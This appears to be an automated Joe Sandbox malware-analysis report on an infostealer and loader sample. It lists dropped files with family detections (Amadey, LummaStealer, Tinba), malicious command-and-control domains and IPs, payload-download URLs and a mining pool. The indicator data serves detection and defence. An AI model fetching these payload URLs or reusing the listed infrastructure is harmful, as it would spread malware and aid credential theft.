C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\tpZOod0[1].exe	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\HRFuUub[1].exe	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\gU8ND0g[1].exe	83%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1010433001\gU8ND0g.exe	83%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1011118001\HRFuUub.exe	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1011233001\tpZOod0.exe	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1011267001\bc330fc673.exe	24%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1011268001\c8297318cd.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1011270001\e6f3e13d62.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe	83%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Roaming\gdi32.dll	58%	ReversingLabs	Win32.Trojan.LummaStealer

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
atten-supporse.biz	172.67.165.166	true	true	unknown
plus.l.google.com	192.178.49.206	true	false	high
play.google.com	192.178.49.174	true	false	high
www.google.com	142.250.69.4	true	false	high
fvtekx5pt.top	34.159.64.221	true	true	unknown
pki-goog.l.google.com	192.178.49.163	true	false	high
xmr-eu2.nanopool.org	51.195.138.197	true	false	high
httpbin.org	18.213.123.165	true	false	unknown
home.fvtekx5pt.top	34.159.64.221	true	true	unknown
c.pki.goog	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	true
http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478?argument=ZCQnAHNfUqr6vEh61733134906	true
http://185.215.113.206/	true
http://92.63.197.221/files/download	true
http://185.215.113.43/Zu7JuNko/index.php	true
http://185.215.113.206/68b591d6548ec281/freebl3.dll	true
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false
http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr1732768478	true
http://92.63.197.221/dll/download	true
https://atten-supporse.biz/api	true
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false
http://detectportal.firefox.com/canonical.html	false
home.fvtekx5pt.top	true

URLs from Memory and Binaries

Name	Source	Malicious
https://atten-supporse.biz/H	5467ed4ac5.exe, 00000035.00000003.2574568659.000000000592B000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1592677235.0000000023B6C000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447741334.00000000059F4000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2413344652.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2448130738.0000000005944000.00000004.00000800.00020000.00000000.sdmp, FCBAEHCA.0.dr	false
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	file.exe, 00000000.00000003.1592677235.0000000023B6C000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447741334.00000000059F4000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2413344652.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2448130738.0000000005944000.00000004.00000800.00020000.00000000.sdmp, FCBAEHCA.0.dr	false
https://duckduckgo.com/ac/?q=	FCBAEHCA.0.dr	false
https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/autoit/download	5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	false
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000002.00000003.1408905184.000001EE8B864000.00000004.00000020.00020000.00000000.sdmp	false
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 00000002.00000003.1408184024.000001EE8B85E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409901886.000001EE8B85F000.00000004.00000020.00020000.00000000.sdmp	false
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 00000002.00000002.1410014162.000001EE8B86E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1407967423.000001EE8B86D000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_	file.exe, 00000000.00000003.1446436692.000000001DA71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1812862722.0000000000FD4000.00000040.00000001.01000000.00000003.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	false
https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE	5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	false
http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr17	c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	false
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.cloudflare.com/origin_ca.crl0	explorer.exe, 00000024.00000003.2023491583.0000000000638000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2056151223.0000000000638000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2519321198.0000000000638000.00000004.00000020.00020000.00000000.sdmp	false
http://31.41.244.11/files/6299414420/HRFuUub.exe	skotes.exe, 00000016.00000003.2245716950.0000000000BC3000.00000004.00000020.00020000.00000000.sdmp	false
https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new	explorer.exe, 00000024.00000003.2815481788.0000000016273000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2588011097.0000000016271000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2848946002.0000000016274000.00000004.00000020.00020000.00000000.sdmp	false
http://pki.goog/repo/certs/gtsr1.der04	5467ed4ac5.exe, 00000035.00000003.2489156263.0000000005A0E000.00000004.00000800.00020000.00000000.sdmp	false
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408092799.000001EE8B863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1407916478.000001EE8B86F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408905184.000001EE8B864000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408453213.000001EE8B859000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1410046877.000001EE8B871000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408269366.000001EE8B85B000.00000004.00000020.00020000.00000000.sdmp	false
https://curl.se/docs/hsts.html	c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	false
https://atten-supporse.biz/21:0	5467ed4ac5.exe, 00000035.00000003.2635898768.0000000005905000.00000004.00000800.00020000.00000000.sdmp	false
https://www.eicar.org/download-anti-malware-testfile/:	file.exe, 00000000.00000003.1446436692.000000001DA71000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/freebl3.dll/	file.exe, 00000000.00000002.1811763144.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206ts	file.exe, 00000000.00000002.1812862722.0000000000FD4000.00000040.00000001.01000000.00000003.sdmp	false
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000002.00000003.1408050543.000001EE8B869000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409646988.000001EE8B82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409976897.000001EE8B86A000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.1812862722.00000000010B7000.00000040.00000001.01000000.00000003.sdmp	false
https://packetstormsecurity.com/https://packetstormsecurity.com/files/download/22459/BIOS320.EXEhttp	5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	false
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1592677235.0000000023B6C000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447741334.00000000059F4000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2413344652.0000000005966000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2448130738.0000000005944000.00000004.00000800.00020000.00000000.sdmp, FCBAEHCA.0.dr	false
http://185.215.113.16/off/def.exez	5467ed4ac5.exe, 00000035.00000002.2805133431.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2757323867.0000000005919000.00000004.00000800.00020000.00000000.sdmp	false
https://secure.eicar.org/eicar.com;	file.exe, 00000000.00000003.1446436692.000000001DA71000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.cloudflare.com/origin_ca.crl	explorer.exe, 00000024.00000003.2519321198.00000000005CE000.00000004.00000020.00020000.00000000.sdmp	false
https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292K	5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/softokn3.dllg6i	file.exe, 00000000.00000002.1811763144.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp	false
http://www.bingmapsportal.com	svchost.exe, 00000002.00000002.1409595410.000001EE8B813000.00000004.00000020.00020000.00000000.sdmp	false
https://atten-supporse.biz/apip	5467ed4ac5.exe, 00000035.00000003.2574183813.000000000096B000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2574183813.00000000009B5000.00000004.00000020.00020000.00000000.sdmp	false
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408092799.000001EE8B863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409646988.000001EE8B82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408905184.000001EE8B864000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408453213.000001EE8B859000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpProfiles	file.exe, 00000000.00000002.1812862722.0000000000FD4000.00000040.00000001.01000000.00000003.sdmp	false
http://31.41.244.11/files/martin/random.exe760	skotes.exe, 00000016.00000003.2245486471.0000000000BFC000.00000004.00000020.00020000.00000000.sdmp	false
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1827295074.000000006EBFD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false
https://crashpad.chromium.org/	explorer.exe, 00000024.00000003.2815481788.0000000016273000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2588011097.0000000016271000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2848946002.0000000016274000.00000004.00000020.00020000.00000000.sdmp	false
https://mozilla.org0/	mozglue[1].dll.0.dr, mozglue.dll.0.dr	false
http://185.215.113.206/c4becf79229cb002.php$	file.exe, 00000000.00000003.1593213619.0000000000D57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1593002380.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.cloudflare.com/origin_ca0	explorer.exe, 00000024.00000003.2023491583.0000000000638000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2056151223.0000000000638000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000024.00000003.2519321198.0000000000638000.00000004.00000020.00020000.00000000.sdmp	false
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000002.00000002.1409940693.000001EE8B866000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408092799.000001EE8B863000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409646988.000001EE8B82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1408905184.000001EE8B864000.00000004.00000020.00020000.00000000.sdmp	false
https://secure.eicar.org/eicar.com	5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	false
https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=	svchost.exe, 00000002.00000003.1408269366.000001EE8B85B000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	FCBAEHCA.0.dr	false
http://crl.rootca1.amazontrust.com/rootca1.crl0	5467ed4ac5.exe, 00000035.00000003.2489156263.0000000005A0E000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.pki.goog/gtsr1/gtsr1.crl0W	5467ed4ac5.exe, 00000035.00000003.2489156263.0000000005A0E000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/nss3.dllk	file.exe, 00000000.00000002.1811763144.0000000000D6C000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php0	file.exe, 00000000.00000003.1593213619.0000000000D57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1811763144.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1593002380.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	5467ed4ac5.exe, 00000035.00000003.2489156263.0000000005A0E000.00000004.00000800.00020000.00000000.sdmp	false
https://curl.se/docs/alt-svc.html	c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	false
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000002.00000003.1408543609.000001EE8B841000.00000004.00000020.00020000.00000000.sdmp	false
https://pki.goog/repository/0	5467ed4ac5.exe, 00000035.00000003.2489156263.0000000005A0E000.00000004.00000800.00020000.00000000.sdmp	false
https://secure.eicar.org/eicar.com.txt/	5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	5467ed4ac5.exe, 00000035.00000003.2413344652.0000000005966000.00000004.00000800.00020000.00000000.sdmp, FCBAEHCA.0.dr	false
https://www.google.com/search?q=eicar	5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2415026389.0000000005A0D000.00000004.00000800.00020000.00000000.sdmp	false
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	false
https://secure.eicar.org/eicar.com/	5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	false
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000016.00000003.2245716950.0000000000BC3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000016.00000003.2245486471.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	false
https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/	svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409864201.000001EE8B857000.00000004.00000020.00020000.00000000.sdmp	false
http://www.realtek.com.tw).	explorer.exe, 00000024.00000003.2007743138.0000000005068000.00000004.00000020.00020000.00000000.sdmp	false
https://www.eicar.org/download-anti-malware-testfile/Download	5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	false
https://www.eicar.org/download-anti-malware-testfile/	file.exe, 00000000.00000002.1812862722.0000000000FD4000.00000040.00000001.01000000.00000003.sdmp	false
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000002.00000003.1408184024.000001EE8B85E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409901886.000001EE8B85F000.00000004.00000020.00020000.00000000.sdmp	false
https://httpbin.org/ipbefore	c8297318cd.exe, 00000034.00000003.2256723233.0000000007EEE000.00000004.00001000.00020000.00000000.sdmp	false
https://dynamic.t	svchost.exe, 00000002.00000003.1408543609.000001EE8B841000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpA	file.exe, 00000000.00000003.1593213619.0000000000D57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1593002380.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	false
http://31.41.244.11/files/martin/random.exe3M	skotes.exe, 00000016.00000003.2245486471.0000000000BFC000.00000004.00000020.00020000.00000000.sdmp	false
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000002.00000003.1408354275.000001EE8B856000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpH	file.exe, 00000000.00000003.1593213619.0000000000D57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1593002380.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	false
https://dev.ditu.live.com/REST/v1/Transit/Schedules/	svchost.exe, 00000002.00000003.1407814902.000001EE8B875000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1410086287.000001EE8B877000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/en-GB/products/firefoxgro.allizom.troppus.	file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	false
http://www.quovadis.bm0	5467ed4ac5.exe, 00000035.00000002.2791956090.0000000000931000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2636908923.000000000096E000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2488014647.000000000096E000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2574183813.000000000096B000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2448465934.000000000096E000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447491880.000000000096B000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2537172301.000000000096D000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2485860528.000000000096B000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2447915397.000000000096E000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2446931726.000000000096E000.00000004.00000020.00020000.00000000.sdmp	false
http://www.realtek.com.tw	explorer.exe, 00000024.00000003.2007743138.0000000005068000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpP	file.exe, 00000000.00000003.1593213619.0000000000D57000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1593002380.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	false
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000002.00000002.1409901886.000001EE8B85F000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/en-GB/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=fire	file.exe, 00000000.00000002.1812862722.000000000101C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1732436496.0000000023EAF000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2490486737.0000000005D14000.00000004.00000800.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	false
http://185.215.113.16/off/def.exe	5467ed4ac5.exe, 00000035.00000002.2805133431.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000002.2791227857.000000000073A000.00000004.00000010.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2757323867.0000000005919000.00000004.00000800.00020000.00000000.sdmp	false
https://atten-supporse.biz/	5467ed4ac5.exe, 00000035.00000003.2446931726.00000000009A7000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2537172301.000000000099C000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2485860528.000000000096B000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2485860528.00000000009A7000.00000004.00000020.00020000.00000000.sdmp, 5467ed4ac5.exe, 00000035.00000003.2574183813.0000000000997000.00000004.00000020.00020000.00000000.sdmp	true
https://www.eicar.org/https://eicar.org/https://www.eicar.org/download-anti-malware-testfile/https:/	5467ed4ac5.exe, 00000035.00000003.2415026389.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	false
http://31.41.244.11/files/martin/random.exegM_	skotes.exe, 00000016.00000003.2245486471.0000000000BFC000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpR	file.exe, 00000000.00000002.1824137295.0000000023C34000.00000004.00000020.00020000.00000000.sdmp	false
https://gemini.google.com/app?q=	FCBAEHCA.0.dr	false
http://31.41.244.11/files/unique2/random.exe	skotes.exe, 00000016.00000003.2245716950.0000000000BC3000.00000004.00000020.00020000.00000000.sdmp	false
http://www.andreaelectronics.com(d	explorer.exe, 00000024.00000003.2007743138.0000000004372000.00000004.00000020.00020000.00000000.sdmp	false
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000002.00000003.1408184024.000001EE8B85E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1409901886.000001EE8B85F000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.69.4	www.google.com	United States	15169	GOOGLEUS	false
9.9.9.9	unknown	United States	19281	QUAD9-AS-1US	false
92.63.197.221	unknown	Russian Federation	204655	NOVOGARA-ASNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
51.195.138.197	xmr-eu2.nanopool.org	France	16276	OVHFR	false
172.67.165.166	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	true
192.178.49.206	plus.l.google.com	United States	15169	GOOGLEUS	false
127.1.0.1	unknown	unknown	unknown	unknown	true
18.213.123.165	httpbin.org	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.159.64.221	fvtekx5pt.top	United States	2686	ATGS-MMD-ASUS	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.11.20
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1566508
Start date and time:	2024-12-02 11:17:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 22m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@105/82@29/16
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, CompPkgSrv.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 23.194.102.104, 192.178.49.163, 192.178.49.174, 142.251.2.84, 192.178.49.170, 192.178.49.202, 142.250.68.234, 142.250.69.10, 104.40.82.182, 20.42.65.92, 74.125.137.84, 23.194.101.222, 23.202.58.201
Excluded domains from analysis (whitelisted): prod-atm-wds-nav.trafficmanager.net, clientservices.googleapis.com, aus5.mozilla.org, learn.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, nav.smartscreen.microsoft.com, e11290.dspg.akamaiedge.net, clients2.google.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, login.live.com, ipv4only.arpa, e16604.g.akamaiedge.net, firefox.settings.services.mozilla.com, learn.microsoft.com.edgekey.net, www.youtube.com, www.gstatic.com, wu-b-net.trafficmanager.net, star-mini.c10r.facebook.com, prod.balrog.prod.cloudops.mozgcp.net, shavar.prod.mozaws.net, fs.microsoft.com, detectportal.firefox.com, ogads-pa.googleapis.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, dyna.wikimedia.org, prod-agic-wu-3.westus.cloudapp.azure.com, youtube-ui.l.google.com, onedsblobprdeus17.eastus.cloudapp.azure.com, edgedl.me.gvt1.com, reddit.map.fastly.net, blobcollector.events.data.trafficmanager.net, shavar.services.mozilla.com, umwatson.events.data.microsoft.com, clients.l.g
Execution Graph export aborted for target KKEBKJJDGH.exe, PID 4452 because it is empty
Execution Graph export aborted for target file.exe, PID 9140 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 3996 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
